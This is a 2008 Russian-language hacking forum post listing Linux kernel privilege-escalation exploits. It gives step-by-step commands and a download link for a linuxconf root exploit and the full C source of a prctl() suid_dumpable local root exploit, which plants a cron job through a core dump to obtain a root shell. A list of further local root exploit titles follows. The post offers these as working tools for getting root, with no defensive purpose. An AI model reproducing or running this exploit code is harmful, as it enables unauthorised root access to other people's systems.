Показать сообщение отдельно

[ Обзор уязвимостей Linux Kernel ]
  #2  
Старый 15.07.2008, 17:12
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию [ Обзор уязвимостей Linux Kernel ]

[ Обзор уязвимостей Linux Kernel ]

Офф.сайт www.linux.org

Linux Kernel 2.4.21-grsecure

Цитата:
Рута можно получить через сиудный бинарник /bin/linuxconf. В частности успешно тестировалось на Mandrake 8.1, 8.2 и RedHat 7.1-7.2
В этом грязном деле тебе поможет пакет autolinuxconf.tgz

Использование:

Для реализации уязвимости достаточно запустить эксплойт с параметром -p
(при этом создаются некоторые переменные окружения), а затем с параметром -f
(нахождение длины уязвимого адреса).

./lconfex - p # получаем первый параметр (param1)
./lconfex - f # второй (param2)

После всего запускаем скрипт handy.sh с этими двумя параметрами

./handy.sh param1 param2 # получаем param3

Далее создай каталог segfault.eng и вложенный файл segfault.eng и запусти

./lconfex -s param1 -m param2 -r param3
http://packetstormsecurity.nl/0209-e...olinuxconf.tgz

Linux Kernel 2.6.13 - 2.6.17.4

Exploit:

Код:
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

char cronstring[BUFSIZE];
char fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
execl(fname, fname, (char *) NULL);
}


int main(int argc, char *argv[]) {

int nw, pid;

if (geteuid() == 0) {
printf("[+] getting root shell\n");
setuid(0);
setgid(0);
if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
perror("[-] execle");
return 1;
}
}

printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

/* get our file name */
if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
perror("[-] readlink");
printf("This is not fatal, rewrite the exploit\n");
}

if (signal(SIGUSR1, sh) == SIG_ERR) {
perror("[-] signal");
return 1;
}
printf("[+] Installed signal handler\n");

/* Let us create core files */
setrlimit(RLIMIT_CORE, &myrlimit);
if (chdir(CROND) == -1) {
perror("[-] chdir");
return 1;
}

/* exploit the flaw */
if (prctl(PR_SET_DUMPABLE, 2) == -1) {
perror("[-] prtctl");
printf("Is you kernel version >= 2.6.13 ?\n");
return 1;
}

printf("[+] We are suidsafe dumpable!\n");

/* Forge the string for our core dump */
nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
if (nw >= sizeof(cronstring)) {
printf("[-] cronstring is too small\n");
return 1;
}
printf("[+] Malicious string forged\n");

if ((pid=fork()) == -1) {
perror("[-] fork");
return 1;
}

if (pid == 0) {
/* This is not the good way to do it ;) */
sleep(120);
exit(0);
}

/* SEGFAULT the child */
printf("[+] Segfaulting child\n");
if (kill(pid, 11) == -1) {
perror("[-] kill");
return 1;
}
if (gettimeofday(&te, NULL) == 0) 
printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
sleep(120);

printf("[-] It looks like the exploit failed\n");

return 1;
}

Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit
Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit
Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)
Linux Kernel 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)
Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit
Linux Kernel 2.4 uselib() Privilege Elevation Exploit
Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation
Linux Kernel 2.x mremap missing do_munmap Exploit
Linux Kernel 2.4.x mremap() bound checking Root Exploit
Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)
Linux Kernel < 2.4.20 Module Loader Local Root Exploit
Linux Kernel 2.2.x - 2.4.x ptrace/kmod Local Root Exploit


(c) (c) (c)

zythar: закрепил. плюсануть не могу (*

Последний раз редактировалось ~!DoK_tOR!~; 20.07.2008 в 02:25..